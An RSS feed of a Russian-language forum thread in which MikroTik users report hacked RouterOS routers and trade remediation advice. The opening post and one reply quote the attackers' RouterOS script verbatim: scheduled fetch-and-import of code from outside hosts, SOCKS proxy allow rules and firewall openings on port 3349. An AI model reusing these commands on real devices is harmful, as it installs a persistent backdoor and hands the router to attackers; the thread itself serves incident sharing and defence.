http://mikrotik.moscow Новое в теме Mikrotik OS 6.45.6 взломан форума RouterOS на сайте Mikrotik.moscow [mikrotik.moscow] ru http://backend.userland.com/rss2 Wed, 05 Aug 2026 02:16:21 -0400 Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
К автору: вам нужно скачать последнюю стабильную версию программного обеспечения (долговременные версии обычно хорошие), а затем использовать процесс netinstall, чтобы вернуть маршрутизатор в чистое состояние. Не открывайте маршрутизатор для интернета на входной цепи и не используйте старые пароли для администратора. Также ограничьте доступ администратора к самому маршрутизатору (входная цепь) для конкретных LAN-адресов (то есть устройств администратора).
30.07.2020 13:24:00, anav.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408610 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408610 Thu, 30 Jul 2020 13:24:00 -0400 RouterOS Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
Хорошо, это вся информация, которую ты должен был предоставить в своем первом сообщении. Предполагаю, она по-прежнему присутствует в твоем роутере? Тебе нужно сделать новую установку с форматом, а не восстановить резервную копию. Так что лучше сделать чистую конфигурацию. В крайнем случае ты можешь сделать /export перед тем, как все стереть, и сохранить это как руководство, чтобы помнить, что нужно настроить.
30.07.2020 09:38:00, pe1chl.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408609 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408609 Thu, 30 Jul 2020 09:38:00 -0400 RouterOS Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
Я хочу извиниться за свою ошибку. Я просто хотел поделиться, все нормально, так что смотрите на ситуацию с wlan интерфейсом. Я не знаю, как они попали в роутер, но оставляя конфигурацию в таком виде, я прикладываю скриншот из лога. Извините за беспокойство.
30.07.2020 09:06:00, aditrodostress.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408608 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408608 Thu, 30 Jul 2020 09:06:00 -0400 RouterOS Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
Теперь ты отредактировал пост и добавил ту часть (откуда?) с помощью инструмента fetch. Я думаю, изначально был только скриншот с переменными окружения, и ЭТО не говорит о том, что роутер был взломан, это результат ошибки RouterOS. Когда у тебя есть некоторые вещи, которые разработчик не ожидал от тебя (например, переименовал wlan1 во что-то другое или удалил беспроводной пакет), скрипт преобразования, который запускается после обновления, не завершает работу и оставляет весь этот хлам в окружении.
30.07.2020 08:37:00, pe1chl.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408607 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408607 Thu, 30 Jul 2020 08:37:00 -0400 RouterOS Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
Извини, неправильно выразился. Позволь мне исправиться. "Похожий случай", я просто хочу поделиться тем, что произошло с моим роутером на днях. Нашел эту тему, искал "7wmp0b4s.rsc". Перед атакой я уже настроил только запускать сервис Winbox с случайным портом и локальным IP, фильтровал правила и блокировал сканеры портов.
30.07.2020 06:46:00, aditrodostress.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408606 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408606 Thu, 30 Jul 2020 06:46:00 -0400 RouterOS Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
Я думаю, у вас у всех был открыт роутер для удалённого доступа через winbox, ssh, telnet или веб-доступ. Winbox был взломан некоторое время назад, но в последних версиях это исправили. (было много сканов порта winbox 8291, так что пункт 2 из списка ниже мог помочь) VPN — лучший вариант для удалённого доступа к роутеру. Если VPN не удаётся использовать, то следуйте этому: Используйте другой порт вместо стандартного. Используйте порт-удар. Это предотвращает возможность увидеть открытые порты. Используйте длинный и надёжный пароль. Используйте список доступа, чтобы исключить случайный интернет-доступ к вашему роутеру. Логируйте всё. (Смотрите мой подпись для примера.) Обновите прошивку до последней стабильной версии ++++
30.07.2020 05:17:00, Jotne.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408605 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408605 Thu, 30 Jul 2020 05:17:00 -0400 RouterOS Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
Что ты имеешь в виду под "той же самой папкой"?? Это не то же самое, это совершенно другое! Это результат ошибки в RouterOS, которая возникает при изменении имени беспроводного интерфейса.
29.07.2020 17:41:00, pe1chl.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408604 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408604 Wed, 29 Jul 2020 17:41:00 -0400 RouterOS Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
Привет, у меня тоже похоже. Моя версия ROS 6.45.9 (долгосрочная) /tool fetch url=http://spacewb.tech/poll/c59e2b64-8b65-46ed-bcbf-b8ba4c68bd49 mode=http dst-path=7wmp0b4s.rsc /import 7wmp0b4s.rsc, сейчас мой роутер перепрошивается через netinstall.
29.07.2020 16:44:00, aditrodostress.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408603 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408603 Wed, 29 Jul 2020 16:44:00 -0400 RouterOS Mikrotik OS 6.45.6 взломан RouterOS в форуме RouterOS.
Чтобы поделиться, вчера мы обнаружили, что один из публичных Mikrotik был взломан. Мы не думаем, что пароль утек, скорее всего, это было через какую-то уязвимость. Вот детали: Модель: Routerboard 3011UiAS (CloudCore) Версия ОС: 6.45.6 IP-сервисы: только Winbox доступен из внутреннего диапазона сети Что сделал хакер: добавил 2 скрипта в файловую систему под именем: 7wmp0b4s.rsc ================= :do { /system scheduler set U3 name=“U7” on-event=“/tool fetch url= http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U3 не найден”} :do { /system scheduler set U4 name=“U7” on-event=“/tool fetch url= http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U4 не найден”} :do { /system scheduler set U5 name=“U7” on-event=“/tool fetch url= http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U5 не найден”} :do { /system scheduler set U6 name=“U7” on-event=“/tool fetch url= http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U6 не найден”} :do { /system scheduler set U7 name=“U7” on-event=“/tool fetch url= http://massgames.space/poll/5af76347-9571-47ef-8356-35454c1578e9 mode=http dst-path=7xe7zt46hb08\r\n/import 7xe7zt46hb08” } on-error={ :put “U7 не найден”} имя: 7xe7zt46hb08 /ip socks access add src-address=5.188.42.0/24 action=allow /ip socks access add src-address=85.119.151.0/24 action=allow /ip socks access add src-address=77.238.240.0/24 action=allow /ip socks access add src-address=178.239.168.0/24 action=allow /ip socks access add src-address=77.238.228.0/24 action=allow /ip socks access add src-address=94.243.168.0/24 action=allow /ip socks access add src-address=213.33.214.0/24 action=allow /ip socks access add src-address=5.188.187.0/24 action=allow /ip socks access add src-address=31.172.128.45/32 action=allow /ip socks access add src-address=31.172.128.25/32 action=allow /ip socks access add src-address=10.0.0.0/8 action=allow /ip socks access add src-address=185.137.233.251/32 action=allow /ip socks access add src-address=5.9.163.16/29 action=allow /ip socks access add src-address=95.213.221.0/24 action=allow /ip socks access add src-address=159.255.24.0/24 action=allow /ip socks access add src-address=31.184.210.0/24 action=allow /ip socks access add src-address=192.243.53.0/24 action=allow /ip socks access add src-address=146.0.78.6/32 action=allow /ip socks access add src-address=193.188.22.205/32 action=allow /ip socks access add src-address=0.0.0.0/0 action=deny Настроить выполнение задачи каждый час. Добавить следующее в правила файрвола: add action=accept chain=input dst-port=3349 protocol=tcp add action=accept chain=input dst-port=3349 protocol=tcp add action=accept chain=input dst-port=3349 protocol=tcp add action=accept chain=input dst-port=3349 protocol=tcp Спасибо. С уважением, Джош.
26.02.2020 04:35:00, joshuachaw.]]> http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408602 http://mikrotik.moscow/forum/forum57/86614-mikrotik-os-6.45.6-vzloman/message408602 Wed, 26 Feb 2020 04:35:00 -0500 RouterOS